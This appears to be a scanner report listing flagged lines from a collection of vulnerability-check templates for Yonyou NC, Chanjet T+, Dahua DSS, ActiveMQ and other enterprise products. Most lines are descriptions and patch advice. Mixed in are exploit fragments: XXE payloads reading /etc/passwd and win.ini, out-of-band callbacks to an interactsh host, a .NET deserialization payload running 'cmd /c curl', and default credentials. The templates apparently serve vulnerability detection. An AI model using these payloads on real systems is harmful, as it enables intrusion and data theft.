reference: - "https://mrxn.net/jswz/yonyou-nc-saveProDefServlet-xxe-ssrf.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-saveProDefServlet-xxe-ssrf.html" - Network accessline 13
fingerprint: 用友NC publish_time: "2025-10-11" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库。" - Network accessline 14
publish_time: "2025-10-11" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库。" bug_web: http://yongyou.net.cn/ - Network accessline 15
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库。" - Network accessline 16
bug_web: http://yongyou.net.cn/ - Network accessline 30
prodefxml={{url_encode(url_encode("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://{{interactsh-url}}\">%remote;]><root/>"))}}
pocs/public/YYNC_uncancelEvent_SQL.yaml
- Network accessline 7
description: 用友NC uncancelEvent 存在SQL注入,攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。 reference: - "https://vip.bdziyi.com/58366/" - Network accessline 8
reference: - "https://vip.bdziyi.com/58366/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/58366/" metadata: fofa-query: 'app="用友-UFIDA-NC"' - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-07-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制接口访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-07-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制接口访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "http://yongyou.net.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制接口访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "http://yongyou.net.cn/"
pocs/public/YY_RRATableController_rce.yaml
- Network accessline 7
description: 用友畅捷通 T+ /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx接口存在.net反序列化漏洞,未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。 reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5 - Network accessline 8
reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9ARRATableController%E5%AD%98%E5%9C%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md classification: - Network accessline 9
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9ARRATableController%E5%AD%98%E5%9C%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md - Network accessline 14
fingerprint: 用友畅捷通T+ publish_time: "2024-06-14" bug_solve: "联系官方打补丁或升级至安全版本:https://www.yonyou.com" - Network accessline 15
publish_time: "2024-06-14" bug_solve: "联系官方打补丁或升级至安全版本:https://www.yonyou.com" bug_web: "https://www.yonyou.com/" - Network accessline 16
bug_solve: "联系官方打补丁或升级至安全版本:https://www.yonyou.com" - Network accessline 17
bug_web: "https://www.yonyou.com/" - Network accessline 38
"StartInfo": { "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "FileName":"cmd", "Arguments":"/c curl http://{{interactsh-url - Network accessline 39
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "FileName":"cmd", "Arguments":"/c curl http://{{interactsh-url}}" } - Network accessline 40
"FileName":"cmd", "Arguments":"/c curl http://{{interactsh-url}}"
pocs/public/YY_TPlus_SSRF.yaml
- Network accessline 7
description: 用友畅捷通TPlus系统接口ajaxpro存在ssrf漏洞,攻击者可以利用该漏洞探测内网资产,为下一步攻击做准备。 reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3ajaxpro%E5%AD%98%E5%9C%A - Network accessline 8
reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3ajaxpro%E5%AD%98%E5%9C%A8ssrf%E6%BC%8F%E6%B4%9E.md classification: - Network accessline 9
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3ajaxpro%E5%AD%98%E5%9C%A8ssrf%E6%BC%8F%E6%B4%9E.md - Network accessline 25
{"address":"http://{{interactsh-url}}"}
pocs/public/YonBIP_admin_Passreset.yaml
- Network accessline 12
fingerprint: "YonBIP" publish_time: "2026-01-06" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2026-01-06" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://www.yonyou.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://www.yonyou.com/"
pocs/public/YongYou_NC_IPsndocExportToCrmService_XXE.yaml
- Network accessline 7
description: 用友NC系统nc.itf.bd.crm.IPsndocExportToCrmService接口存在XML注入漏洞,攻击者可以在xml中构造恶意命令,会导致服务器数据泄露以及被远控。 reference: - "https://github.com/YUUKI4O4/POC/blob/bc32409e8ca83c470e16d03aedfa3c2ad08250bc/%E7%94%A8%E5%8F%8B/yongyouNC_Arbitrary - Network accessline 8
reference: - "https://github.com/YUUKI4O4/POC/blob/bc32409e8ca83c470e16d03aedfa3c2ad08250bc/%E7%94%A8%E5%8F%8B/yongyouNC_Arbitrary_file_read_vulnerability/README.md?plain=1#L5" metadata: - Network accessline 9
- "https://github.com/YUUKI4O4/POC/blob/bc32409e8ca83c470e16d03aedfa3c2ad08250bc/%E7%94%A8%E5%8F%8B/yongyouNC_Arbitrary_file_read_vulnerability/README.md?plain=1#L5" - Network accessline 13
fingerprint: 用友NC publish_time: "2024-03-08" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
publish_time: "2024-03-08" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: https://yonyou.com/ - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: https://yonyou.com/ - Network accessline 23
- raw: - | GET /uapws/service/nc.itf.bd.crm.IPsndocExportToCrmService?xsd=http://{{interactsh-url}} HTTP/1.1 - Network accessline 24
- | GET /uapws/service/nc.itf.bd.crm.IPsndocExportToCrmService?xsd=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} - Network accessline 25
GET /uapws/service/nc.itf.bd.crm.IPsndocExportToCrmService?xsd=http://{{interactsh-url}} HTTP/1.1
pocs/public/YongYou_NC_registerServlet_JNDI_rce.yaml
- Network accessline 7
description: 用友NC registerServlet接口处存在JNDI远程代码执行漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。 reference: - https://mp.weixin.qq.com/s/tXxrw-Z0_Tf14udnotDivg - Network accessline 8
reference: - https://mp.weixin.qq.com/s/tXxrw-Z0_Tf14udnotDivg classification: - Network accessline 9
- https://mp.weixin.qq.com/s/tXxrw-Z0_Tf14udnotDivg - Network accessline 14
fingerprint: 用友NC publish_time: "2024-05-13" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 15
publish_time: "2024-05-13" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: "https://yonyou.com/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 17
bug_web: "https://yonyou.com/" dangers_type: 远程代码执行 tags: yonyou,nc,jndi,rce,oast
pocs/public/YongYou_judgeCompatibleEvent_sqli.yaml
- Network accessline 7
description: 用友NC存在SQL注入漏洞,该漏洞源于judgeCompatibleEvent接口中的event_id参数存在sql注入漏洞,攻击者可通过该漏洞获取数据库敏感数据。 reference: - 'https://mrxn.net/jswz/yonyou-nc-oacoSchedulerEvents-changeEvent-sqli.html' - Network accessline 8
reference: - 'https://mrxn.net/jswz/yonyou-nc-oacoSchedulerEvents-changeEvent-sqli.html' metadata: - Network accessline 9
- 'https://mrxn.net/jswz/yonyou-nc-oacoSchedulerEvents-changeEvent-sqli.html' - Network accessline 13
publish_time: "2025-06-16" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://yonyou.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 14
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://yonyou.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://yonyou.com/" - Network accessline 15
bug_solve: "1、关注厂商官网:https://yonyou.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 16
bug_web: "https://yonyou.com/"
pocs/public/YongYou_nc_cloud_INtbOBAWebService_xxe.yaml
- Network accessline 7
description: 用友NC Cloud大型企业数字化平台/uapws/service/nc.itf.tb.oba.INtbOBAWebService接口存在XXE漏洞,恶意攻击者可能会利用该命令在xml中构造恶意命令,可能会导致服务器失陷或者敏感信息泄露。 reference: - https://mp.weixin.qq.com/s/rF_TfuKQKEpx1JCmmNNiTw - Network accessline 8
reference: - https://mp.weixin.qq.com/s/rF_TfuKQKEpx1JCmmNNiTw classification: - Network accessline 9
- https://mp.weixin.qq.com/s/rF_TfuKQKEpx1JCmmNNiTw - Network accessline 14
fingerprint: 用友NC publish_time: "2024-02-28" bug_solve: "请关注厂商官网更新补丁:https://www.yonyou.com/" - Network accessline 15
publish_time: "2024-02-28" bug_solve: "请关注厂商官网更新补丁:https://www.yonyou.com/" bug_web: "https://www.yonyou.com/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://www.yonyou.com/" - Network accessline 17
bug_web: "https://www.yonyou.com/" dangers_type: XML注入 tags: yonyou,nc-cloud,xxe,oast - Network accessline 22
- raw: - | POST /uapws/service/nc.itf.tb.oba.INtbOBAWebService?xsd=http://{{interactsh-url}} HTTP/1.1 - Network accessline 23
- | POST /uapws/service/nc.itf.tb.oba.INtbOBAWebService?xsd=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} - Network accessline 24
POST /uapws/service/nc.itf.tb.oba.INtbOBAWebService?xsd=http://{{interactsh-url}} HTTP/1.1
pocs/public/YongYou_nc_cloud_soapFormat_xxe.yaml
- Network accessline 7
description: 用友NC-Cloud,大型企业数字化平台, 聚焦数字化管理、数字化经营、数字化商业,帮助大型企业实现人、财、物、客的 全面数字化,从而驱动业务创新与管理变革,与企业管理者一起重新定义未来的高度。该系统/uapws/soapFormat.ajax接口存在XXE漏洞,攻击者可以在xml中构造恶意命令,最终导致服务器被远控。 reference: - https://mp.weixin.qq.com/s/xwrTRyoHGWcyXAGCYJV- - Network accessline 8
reference: - https://mp.weixin.qq.com/s/xwrTRyoHGWcyXAGCYJV-IA metadata: - Network accessline 9
- https://mp.weixin.qq.com/s/xwrTRyoHGWcyXAGCYJV-IA - Network accessline 13
publish_time: "2024-01-10" dangers_type: "XML注入" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
dangers_type: "XML注入" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: "https://yonyou.com/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: "https://yonyou.com/" - Network accessline 33
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body> - Network accessline 45
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///etc/passwd"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:En
pocs/public/YongYou_nc_loadDoc_fileread.yaml
- Network accessline 7
description: 用友NC是一款企业级ERP(企业资源计划)软件,它提供了全面的财务、人力资源、采购、销售、生产等各种业务管理模块,适用于中小型企业和大型集团公司。用友NC loadDoc 接口处 ws 参数存在文件读取漏洞,攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。 reference: - 'https://mrxn.net/jswz/yonyou-nc-uapws-loadDoc-fileread.html' - Network accessline 8
reference: - 'https://mrxn.net/jswz/yonyou-nc-uapws-loadDoc-fileread.html' metadata: - Network accessline 9
- 'https://mrxn.net/jswz/yonyou-nc-uapws-loadDoc-fileread.html' - Network accessline 13
publish_time: "2025-06-06" dangers_type: "任意文件读取" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
dangers_type: "任意文件读取" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: "https://yonyou.com/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: "https://yonyou.com/"
pocs/public/YongYou_nc_saveDoc_upload.yaml
- Network accessline 5
author: nuclei severity: high description: 用友NC是一款企业级ERP(企业资源计划)软件,它提供了全面的财务、人力资源、采购、销售、生产等各种业务管理模块,适用于中小型企业和大型集团公司。用友-UFIDA-NC saveDoc.ajax 存在任意文件上传,攻击者可通过此漏洞上传恶意脚本文件,进而获取服务器的权限。 - Network accessline 6
severity: high description: 用友NC是一款企业级ERP(企业资源计划)软件,它提供了全面的财务、人力资源、采购、销售、生产等各种业务管理模块,适用于中小型企业和大型集团公司。用友-UFIDA-NC saveDoc.ajax 存在任意文件上传,攻击者可通过此漏洞上传恶意脚本文件,进而获取服务器的权限。 reference: - Network accessline 7
description: 用友NC是一款企业级ERP(企业资源计划)软件,它提供了全面的财务、人力资源、采购、销售、生产等各种业务管理模块,适用于中小型企业和大型集团公司。用友-UFIDA-NC saveDoc.ajax 存在任意文件上传,攻击者可通过此漏洞上传恶意脚本文件,进而获取服务器的权限。 - Network accessline 8
reference: - 'https://www.shungg.cn/225.html' metadata: - Network accessline 9
- 'https://www.shungg.cn/225.html' metadata: fofa-query: app="用友-UFIDA-NC" - Network accessline 13
publish_time: "2018-07-17" dangers_type: "文件上传" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
dangers_type: "文件上传" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: "https://yonyou.com/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: "https://yonyou.com/" - Network accessline 33
content=<hi xmlns:hi="http://java.sun.com/JSP/Page">
pocs/public/Yongyou_NC_bill_sqli.yaml
- Network accessline 7
description: 用友UFIDA-NC是一款企业管理软件,由用友软件开发和推出。该软件提供了一套完整的企业管理解决方案,包括财务管理、人力资源管理、供应链管理、生产管理等功能模块,可以帮助企业实现全面的管理和运营。用友NC系统可利用down/bill接口中的id参数进行sql注入攻击,从而窃取服务器的敏感信息。 reference: - https://mp.weixin.qq.com/s/iEJiIPLqANOTE2vCXfktbg - Network accessline 8
reference: - https://mp.weixin.qq.com/s/iEJiIPLqANOTE2vCXfktbg metadata: - Network accessline 9
- https://mp.weixin.qq.com/s/iEJiIPLqANOTE2vCXfktbg - Network accessline 13
publish_time: "2024-05-01" dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: "https://yonyou.com/" - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: "https://yonyou.com/"
pocs/public/Yongyou_U8_Cloud_XChangeServlet_xxe.yaml
- Network accessline 7
description: 用友NC Cloud大型企业数字化平台接口存在XXE漏洞,恶意攻击者可以在xml中构造恶意命令,可能会导致服务器失陷或者敏感信息泄露。 reference: - "https://www.ddpoc.com/DVB-2024-6989.html" - Network accessline 8
reference: - "https://www.ddpoc.com/DVB-2024-6989.html" metadata: - Network accessline 9
- "https://www.ddpoc.com/DVB-2024-6989.html" - Network accessline 13
fingerprint: 用友U8 Cloud publish_time: "2024-04-30" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 14
publish_time: "2024-04-30" bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" bug_web: https://yonyou.com/ - Network accessline 15
bug_solve: "请关注厂商官网更新补丁:https://yonyou.com/" - Network accessline 16
bug_web: https://yonyou.com/ - Network accessline 30
<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://{{interactsh-url}}">]><r><a>&sp;</a ></r>
pocs/public/ZYOA-m3-API-info.yaml
- Network accessline 7
description: 致远A8+协同管理软件rest/m3/common/system/properties接口处存在敏感信息泄露,攻击者可通过该漏洞获取系统配置信息。 reference: - "https://mp.weixin.qq.com/s/zW7ensWsUUDDlCp0giovJw" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/zW7ensWsUUDDlCp0giovJw" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/zW7ensWsUUDDlCp0giovJw" - Network accessline 12
fingerprint: "致远OA" publish_time: "2024-12-21" bug_solve: "1、关注厂商官网:https://www.seeyon.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的访问。" - Network accessline 13
publish_time: "2024-12-21" bug_solve: "1、关注厂商官网:https://www.seeyon.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的访问。" bug_web: https://www.seeyon.com/ - Network accessline 14
bug_solve: "1、关注厂商官网:https://www.seeyon.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的访问。" - Network accessline 15
bug_web: https://www.seeyon.com/
pocs/public/activemq-cve-2016-3088.yaml
- Network accessline 8
Apache ActiveMQ 5.x 版本中存在安全漏洞,该漏洞源于文件服务器(fileserver)允许用户上传任意文件。攻击者可利用该漏洞上传恶意文件并执行任意代码。 reference: - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088 - Network accessline 9
reference: - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088 classification: - Network accessline 10
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
pocs/public/activemq-default-password.yaml
- Network accessline 7
description: Apache ActiveMQ 存在默认凭据漏洞,当管理员未修改默认密码时,攻击者可使用默认凭据 admin:admin 登录管理后台,从而控制消息队列服务并可能造成信息泄露或远程代码执行。 reference: - "https://blog.csdn.net/ge00111/article/details/72765210" - Network accessline 8
reference: - "https://blog.csdn.net/ge00111/article/details/72765210" classification: - Network accessline 9
- "https://blog.csdn.net/ge00111/article/details/72765210"
pocs/public/apache-flink-unauth-rce.yaml
- Network accessline 7
description: Apache Flink reference: Apache Flink contains an unauthenticated remote code execution vulnerability. - https://www.exploit-db.com/exploits/48978 - Network accessline 8
reference: Apache Flink contains an unauthenticated remote code execution vulnerability. - https://www.exploit-db.com/exploits/48978 - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 - Network accessline 9
- https://www.exploit-db.com/exploits/48978 - Network accessline 10
- https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 - Network accessline 11
- https://github.com/LandGrey/flink-unauth-rce
pocs/public/apache-solr-file-read.yaml
- Network accessline 12
publish_time: "2021-03-18" dangers_type: "任意文件读取" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://logging.apache.org;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
dangers_type: "任意文件读取" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://logging.apache.org;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://logging.apache.org" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://logging.apache.org;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://logging.apache.org"
pocs/public/chanjet-tplus-ufida-sqli.yaml
- Network accessline 12
publish_time: "2023-05-09" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网 url:https://www.chanjet.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网 url:https://www.chanjet.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.chanjet.com" - Network accessline 14
bug_solve: "1、关注厂商官网 url:https://www.chanjet.com 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.chanjet.com"
pocs/public/chanjet_TPlus_keyEdit_sqli.yaml
- Network accessline 7
description: 用友畅捷TPlus keyEdit.aspx 处存在SQL注入漏洞 ,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 reference: - 'https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9 - Network accessline 8
reference: - 'https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9ATPlus-keyEdit.aspx%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md#%E7%94%A8%E5%8F%8B%E - Network accessline 9
- 'https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9ATPlus-keyEdit.aspx%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md#%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B - Network accessline 13
publish_time: "2024-08-21" dangers_type: "SQL注入" bug_solve: "1、联系厂商打补丁或升级版本:https://www.yonyou.com;2、关闭互联网暴露面或接口设置访问权限。3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 14
dangers_type: "SQL注入" bug_solve: "1、联系厂商打补丁或升级版本:https://www.yonyou.com;2、关闭互联网暴露面或接口设置访问权限。3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 15
bug_solve: "1、联系厂商打补丁或升级版本:https://www.yonyou.com;2、关闭互联网暴露面或接口设置访问权限。3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 16
bug_web: "https://www.yonyou.com/"
pocs/public/dahua_DSS_getAttList_sqli.yaml
- Network accessline 8
大华DSS数字监控系统是一个在通用安防视频监控系统基础上设计开发的系统,除了具有普通安防视频监控系统的实时监视、云台操作、录像回放、报警处理、设备治理等功能外,更注重用户使用的便利性。大华DSS数字监控系统attachment_getAttList.action?bean.RecId存在SQL注入漏洞,攻击者可以通过此漏洞获取数据库权限,造成敏感信息泄露。 reference: - https://github.com/Tyaoo/picker/blob/3d15 - Network accessline 9
reference: - https://github.com/Tyaoo/picker/blob/3d15b005960bea8b24c8dc3875ba09db4b12df5f/archive/daily/2024/2024-02-09.md?plain=1#L113 metadata: - Network accessline 10
- https://github.com/Tyaoo/picker/blob/3d15b005960bea8b24c8dc3875ba09db4b12df5f/archive/daily/2024/2024-02-09.md?plain=1#L113 - Network accessline 14
publish_time: "2024-03-05" dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" bug_web: "https://www.dahuatech.com/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" - Network accessline 17
bug_web: "https://www.dahuatech.com/"
pocs/public/dahua_dss_clearTempFile_sqli.yaml
- Network accessline 8
大华DSS数字监控系统是一个在通用安防视频监控系统基础上设计开发的系统,除了具有普通安防视频监控系统的实时监视、云台操作、录像回放、报警处理、设备治理等功能外,更注重用户使用的便利性。大华DSS数字监控系统attachment_clearTempFile.action?bean.RecId存在SQL注入漏洞,攻击者可以通过此漏洞获取数据库权限,造成敏感信息泄露。 reference: - https://github.com/Tyaoo/picker/blob/3 - Network accessline 9
reference: - https://github.com/Tyaoo/picker/blob/3d15b005960bea8b24c8dc3875ba09db4b12df5f/archive/daily/2024/2024-02-09.md?plain=1#L113 metadata: - Network accessline 10
- https://github.com/Tyaoo/picker/blob/3d15b005960bea8b24c8dc3875ba09db4b12df5f/archive/daily/2024/2024-02-09.md?plain=1#L113 - Network accessline 14
publish_time: "2024-02-05" dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" bug_web: "https://www.dahuatech.com/" - Network accessline 16
bug_solve: "请关注厂商官网更新补丁:https://www.dahuatech.com/" - Network accessline 17
bug_web: "https://www.dahuatech.com/"
pocs/public/dahua_unauthorized.yaml
- Network accessline 6
description: Dahua surveillance camera allows unauthorized access to the password configuration endpoint, exposing user credentials. reference: - https://www.dahuasecurity.com/ - Network accessline 7
reference: - https://www.dahuasecurity.com/ classification: - Network accessline 8
- https://www.dahuasecurity.com/
pocs/public/dubbo-admin-default-password.yaml
- Network accessline 8
Apache Dubbo Admin 存在默认凭据漏洞,攻击者可使用默认密码 root:root 或 guest:guest 登录管理后台,从而控制 Dubbo 服务并可能造成信息泄露或远程代码执行。 reference: - https://www.cnblogs.com/wishwzp/p/9438658.html - Network accessline 9
reference: - https://www.cnblogs.com/wishwzp/p/9438658.html classification: - Network accessline 10
- https://www.cnblogs.com/wishwzp/p/9438658.html
pocs/public/easycorp_zentao_pms_idor.yaml
- Network accessline 6
description: EasyCorp Zentao PMS has an authentication bypass vulnerability that allows unauthenticated users to obtain valid session IDs and access restricted APIs. reference: - https://mp.weixin.qq.com/s/nzfPBx9xel8PHt8a6kF5aw - Network accessline 7
reference: - https://mp.weixin.qq.com/s/nzfPBx9xel8PHt8a6kF5aw classification: - Network accessline 8
- https://mp.weixin.qq.com/s/nzfPBx9xel8PHt8a6kF5aw
pocs/public/elasticsearch-cve-2015-1427.yaml
- Network accessline 7
description: Elasticsearch 1.3.x 至 1.3.7 及 1.4.x 至 1.4.2 版本中,Groovy 脚本引擎的沙箱存在绕过漏洞(CVE-2015-1427),攻击者可通过构造恶意 Groovy 脚本在目标服务器上执行任意命令,导致远程代码执行。 reference: - "https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427" - Network accessline 8
reference: - "https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427" classification: - Network accessline 9
- "https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427"
pocs/public/elasticsearch_unauthorized_access.yaml
- Network accessline 6
